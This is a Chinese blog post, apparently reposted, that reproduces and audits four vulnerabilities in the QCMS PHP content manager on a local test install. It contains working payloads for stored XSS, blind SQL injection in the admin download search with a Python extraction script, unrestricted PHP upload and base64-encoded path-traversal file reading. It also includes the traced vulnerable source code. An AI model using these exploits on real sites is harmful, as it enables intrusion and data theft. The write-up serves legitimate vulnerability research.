qcms是一款比较小众的cms,最近更新应该是17年,代码框架都比较简单,但问题不少倒是。。。
网站介绍
QCMS是一款小型的网站管理系统。拥有多种结构类型,包括:ASP+ACCESS、ASP+SQL、PHP+MYSQL
采用国际标准编码(UTF-8)和中文标准编码(GB2312)
功能齐全,包括文章管理,产品展示,销售,下载,网上社区,博客,自助表单,在线留言,网上投票,在线招聘,网上广告等多种插件功能程序和网页代码分离
支持生成Google、Baidu的网站地图
建站
说实话,官网写的是4.0.,安装确实3.0,然后下面写的是2.0,确实让人摸不清头脑
手动创建数据库即可,需要注意数据库要用MySQL5.0版本,向上会报错
数据库:qcms
后台账号密码: admin admin
漏洞复现
XSS
按照如图所示构造payload
提交之后无需审核,直接先弹个窗。。
登录后台再弹一个。。
查看数据库,没有过滤直接插入
SQLlike注入
http://127.0.0.1/backend/down.html?title=1';select if(ascii(substr((select database()), 1, 1))-113, 1, sleep(5));%23
这里直接附上简单脚本
# !/usr/bin/python3 # -*- coding:utf-8 -*- # author: Forthrglory import requests def getCookie(): url = 'http://127.0.0.1/admin.php' data = { 'username':'admin', 'password':'admin' } session = requests.session() res = session.post(url, data) return requests.utils.dict_from_cookiejar(res.cookies) def getDatabase(url, arr, cookies): str = '' requests.session() for i in range(1, 11): for j in arr: data = url + '?title=1\';select if(ascii(substr((select database()), %s, 1))-%s, 1, sleep(5));%%23' % (i, ord(j)) # print(data) res = requests.get(url=data, cookies=cookies) # print(res.elapsed.total_seconds()) if(res.elapsed.total_seconds() > 5): str += j print(str) break print('database=' + str) if __name__ == '__main__': url = 'http://127.0.0.1/backend/down.html' arr = [] for i in range(48, 123): arr.append(chr(i)) cookies = getCookie() print(cookies) getDatabase(url, arr, cookies)
运行截图
任意文件上传
构造一个test.php文件,内容为<?php phpinfo();
,点击上传
可以看到,上传后给出了路径
访问文件,发现上传成功
需要注意的是,每次上传后会将内容的hash保存到数据库中,如果再次上传时会检查数据库内容是否有重复,有则拒绝上传,因此如果第一遍上传有误,需要对内容进行简单的修改才能上传。
任意文件读取
用seay扫了一下后发现的漏洞
漏洞在后台模板代码预览处,构造payload例如
http://127.0.0.1/backend/template/tempview/Li4vLi4vLi4vQ29udHJvbGxlci9hZG1pbi5waHA=.html
即可读取Controller文件下admin.php文件源码
跟源码对比下,确实是读到了
代码审计
代码相对来说比较简单,先看结构
Install 安装文件 Lib 系统文件 Static 静态文件 System 控制器+视图
找到路由定义,得到规则
# http://127.0.0.1/控制器/方法/渲染模板 private function _fetch_url(){ $url = ''; $controller_arr = array(); $url_arr = explode('.', str_replace(SITEPATH, '/', $_SERVER['REQUEST_URI'])); $uri = ($url_arr[0] == '/') ? '/' : substr($url_arr[0], 1); if (strpos ( $uri, 'poweredByQesy' ) !== false) { echo "powered By QCMS v ".QCMS_VERSION."<br>\n"; echo "Auth : Qesy <br>\n"; echo "Email : 762264@qq.com <br>\n"; echo "Your Ip : " . ip () . "<br>\n"; echo "Date : " . date ( 'Y-m-d H:i:s' ) . "<br>\n"; echo "UserAgent : " . $_SERVER ['HTTP_USER_AGENT'] . "<br>\n"; exit (); } if($uri == '/'){ $controller_arr['name'] = $this->_default['default_controller']; $controller_arr['url'] = BASEPATH.'Controller/'.$this->_default['default_controller'].EXT; $controller_arr['method'] = $this->_default['default_function']; }else{ $uri_arr = explode($this->_default['url'], $uri); foreach($uri_arr as $key => $val){ if(empty($val))continue; $file = $url.$val; $url .= $val.'/'; if(file_exists(BASEPATH.'Controller/'.$file.EXT)){ $controller_arr['name'] = $val; $controller_arr['url'] = BASEPATH.'Controller/'.$file.EXT; $fun_url = substr($uri, strlen($file)+1); $fun_arr = explode($this->_default['url'], $fun_url); $controller_arr['method'] = empty($fun_arr[0]) ? 'index' : $fun_arr[0]; $controller_arr['fun_arr'] = array_splice($fun_arr, 1); break; } } }var_dump($controller_arr); return $controller_arr; }
接下来开始漏洞审计
XSS
根据url跟踪到/System/Controller/guest.php->index_Action方法
public function index_Action($page = 0){ if(!empty($_POST)){ foreach($_POST as $k => $v){ $_POST[$k] = trim($v); } if(empty($_POST['title'])){ exec_script('alert("标题不能为空");history.back();');exit; } if(empty($_POST['name'])){ exec_script('alert("姓名不能为空");history.back();');exit; } if(empty($_POST['email'])){ exec_script('alert("邮箱不能为空");history.back();');exit; } if(empty($_POST['content'])){ exec_script('alert("留言内容不能为空");history.back();');exit; } $result = $this->_guestObj->insert(array('title' => $_POST['title'], 'name' => $_POST['name'], 'email' => $_POST['email'], 'content' => $_POST['content'], 'addtime' => time())); if($result){ exec_script('window.location.href="'.url(array('guest', 'index')).'"');exit; }else{ exec_script('alert("留言失败");history.back();');exit; } } ...... }
主要代码如上,其中_guestObj参数为/lib/Model/QCMS_Guest类,跟踪insert方法
public function insert($insert_arr = array(), $tb_name = 0){ return $this->exec_insert($insert_arr, $tb_name); }
继续跟踪至/lib/Config/DB_pdo类
public function exec_insert($insert_arr = array(), $tb_name = 0, $isDebug = 0){ $tb_name = empty($tb_name) ? 0 : $tb_name; $value_str = parent::get_sql_insert($insert_arr); $sql = "INSERT INTO ".parent::$s_dbprefix[parent::$s_dbname].$this->p_table_name[$tb_name].$value_str.""; ! $isDebug || var_dump ( $sql ); return $this->q_exec($sql); }
将参数进行拼接后执行,其中在执行前调用了get_sql_insert方法,继续跟踪
public function get_sql_insert($insert_arr = array()){ $insert_arr_t = array(); $value_arr_t = array(); if(is_array($insert_arr)){ foreach($insert_arr as $key => $val){ $insert_arr_t[] = $key; if(!get_magic_quotes_gpc()){ $value_arr_t[] = '\''.addslashes($val).'\''; }else{ $value_arr_t[] = '\''.$val.'\''; } } return " (".implode(',', $insert_arr_t).") values (".implode(',', $value_arr_t).")"; } }
该方法对单双引号和反斜杠转义,但对尖括号并没有过滤,所以代码直接插入到了数据库中
调用顺序为
Guest->index_action() QCMS_Guest->insert() Db_pdo->exec_insert() Db->get_sql_insert() # 过滤
SQL
根据url找到/System/Controller/backend/down.php->index_Action()方法
public function index_Action($page = 0){ $condStr = 0; if(isset($_GET['title']) && $_GET['title'] != ''){ $condArr[] = " title LIKE '%".$_GET['title']."%'"; } $condStr = empty($condArr) ? '' : ' WHERE '.implode(' && ', $condArr); $count = 0; $offset = ($page <= 0) ? 0 : ($page - 1) * $this->pageNum; $temp['rs'] = $this->_downObj->selectAll(array($offset, $this->pageNum), $count, $condStr, '*'); $temp['page'] = $this->page_bar($count[0]['count'], $this->pageNum, url(array('backend', 'news', 'index', '{page}')), 9, $page); $temp['cateRs'] = $this->_cateObj->select('', 'id, name', 0, 'id'); $this->load_view('backend/down/index', $temp); }
直接将参数拼接至语句中,继续跟踪QCMS_Down->selectAll()
public function selectAll($limit = '', &$count, $cond_arr='', $field = '*', $sort = array('id' => 'DESC'), $table = 0){ $count = $this->exec_select($cond_arr, 'COUNT(*) AS count', $table, 0, '', '', 0); return $this->exec_select($cond_arr, $field, $table, 0, $limit, $sort, 0); }
第一步查询数据的数量,第二步才是注入点
Db_pdo->exec_select()
public function exec_select($cond_arr=array(), $field='*', $tb_name = 0, $index = 0, $limit = '', $sort='', $fetch = 0, $isDebug = 0){ $tb_name = empty($tb_name) ? 0 : $tb_name; $limit_str = !is_array($limit) ? $limit : ' limit '.$limit[0].','.$limit[1].''; $sort_str = $this->sort($sort); $sql = "SELECT ".$field." FROM ".parent::$s_dbprefix[parent::$s_dbname].$this->p_table_name[$tb_name].$this->get_sql_cond($cond_arr).$sort_str.$limit_str.""; ! $isDebug || var_dump ( $sql ); if($fetch == 1){ return $this->q_select($sql, 1); } if(empty($index)){ return $this->q_select($sql); }else{ return $this->set_index($this->q_select($sql), $index); } }
可以看到在我们的数据最后进行拼接之前还经历了get_sql_cond方法的过滤,跟进去
public function get_sql_cond($cond_arr = ''){ if(empty($cond_arr)){ return ''; } if(!is_array($cond_arr)){ return $cond_arr; } $cond_arr_t = array(); foreach ($cond_arr as $key => $val){ if(is_array($val) && empty($val)){ continue; } if(is_array($val)){ $cond_arr_t[] = $key." in (".self::get_sql_cond_by_in($val).")"; }else{ if(!get_magic_quotes_gpc()){ $cond_arr_t[] = $key."='".addslashes($val)."'"; }else{ $cond_arr_t[] = $key."='".$val."'"; } } } return empty($cond_arr_t) ? '' : ' WHERE '.implode(' && ', $cond_arr_t); }
匪夷所思的地方来了,当我们传入的数据不为数组时,函数直接返回原始数据,并没有进行过滤,从而导致了注入
调用顺序为
down.php->index_Action() QCMS_Down.php->selectAll() Db_pdo.php->exec_select() Db.php->get_sql_cond() # 过滤
注入点还有比如新闻列表的搜索、产品列表的搜索等几个地方,不过都大同小异,因此不再赘述
任意文件上传
找到调用方法/System/Controller/backend/index.php->ajaxupload_Action()
public function ajaxupload_Action(){ $result = $this->upload($_FILES['filedata']); $arr = array(); if($result < 0){ $arr['error'] = 1; $arr['msg'] = '上传失败'; $arr['url'] = ''; }else{ $arr['error'] = 0; $arr['msg'] = '上传成功'; $arr['url'] = $result; } echo json_encode($arr); }
跟进Lib/Config/Controllers.php/ControllersAdmin->upload()
public function upload($file_arr = array()){ $this->_files = $this->load_model('QCMS_Files'); $uploadObj = $this->load_class('upload'); $pic = file_get_contents($file_arr['tmp_name']); $hash = hash('sha1', $pic); $rs = $this->_files->selectOne(array('hash' => $hash)); if(!empty($rs)){ $result = $rs['path']; }else{ $result = $uploadObj->upload_file($file_arr); if($result < 0){ }else{ $this->_files->insert(array( 'filename' => $file_arr['name'], 'path' => $result, 'mimetype' => $file_arr['type'], 'ext' => pathinfo($file_arr['name'], PATHINFO_EXTENSION), 'size' => $file_arr['size'], 'user_id' => $this->id, 'addtime' => time(), 'hash' => $hash, )); } } return $result; }
可以看到,方法将内容的hash储存到数据库中,如果存在相同数据,则直接将路径返回,如果不存在,才会进行上传
跟进Lib/Helper/upload.php->upload_file()方法
public function upload_file($file_arr){ $ext = substr(strrchr($file_arr['name'], '.'), 1); if(!is_uploaded_file($file_arr['tmp_name']) || !in_array($file_arr['type'], $this->_type)){ return -1; } if($file_arr['size'] > ($this->_size * 1024 * 1024)){ return -2; } return self::_move_file($file_arr['tmp_name'], $ext); }
如果文件不是post方式上传的或者type不在白名单内,返回-1,然而系统给出的白名单是这些:
private $_type = array( 'image/pjpeg', 'image/jpeg', 'image/gif', 'image/png', 'image/x-png', 'image/bmp', 'application/x-shockwave-flash', 'application/octet-stream', 'image/vnd.adobe.photoshop');
php文件的type是这个
Content-Type: application/octet-stream
这算哪门子白名单。。。
继续跟进同类的_move_file方法
private function _move_file($file, $ext){ $url = $this->_dir.$this->_name.'.'.$ext; if(!is_dir($this->_dir)){ mkdir($this->_dir, 0777, true); } if (!move_uploaded_file($file, $url)){ return -3; } return SITEPATH.$url; }
文件名在初始化的时候被赋值为一个随机数,然而文件的路径会被返回给模板并渲染出来
$this->_name = uniqid(rand(100,999)).rand(1,9); `
然后就被上传了上去,甚至后缀都是用的原本文件的后缀而不是判断类型然后拼接.jpg
、.png
这样
调用顺序为:
index.php->ajaxupload_Action() Controllers/ControllersAdmin->upload() upload.php->upload_file() upload.php->_move_file()
任意文件读取
找到调用方法System->Controller->backend->template.php
public function tempview_Action($tempname = ''){ if(empty($tempname)){ exec_script('alert("模版文件不能为空");history.back();');exit; } $sysObj = $this->load_model('QCMS_Sys'); $sysRs = $sysObj->selectOne('', 'template_id'); $templateRs = $this->_tempObj->selectOne(array('id' => $sysRs['template_id'])); $tempname = base64_decode($tempname); var_dump($templateRs['name']); $result = file_get_contents(BASEPATH.'view/template/'.$templateRs['name'].'/'.$tempname); $str = str_replace(array("\n"), array('<br>'), htmlspecialchars($result)); $temp['str'] = $str; $this->load_view('backend/template/tempview', $temp); }
可以看到当传入参数后,对参数进行base64解码,然后读取文件内容,对结果进行过滤后返回到渲染界面,中间并没有对传入的参数进行任何过滤,传入参数为
../../../Controller/admin.php
base64编码后即可读取源码
来源:https://www.cnblogs.com/0daybug/p/12371923.html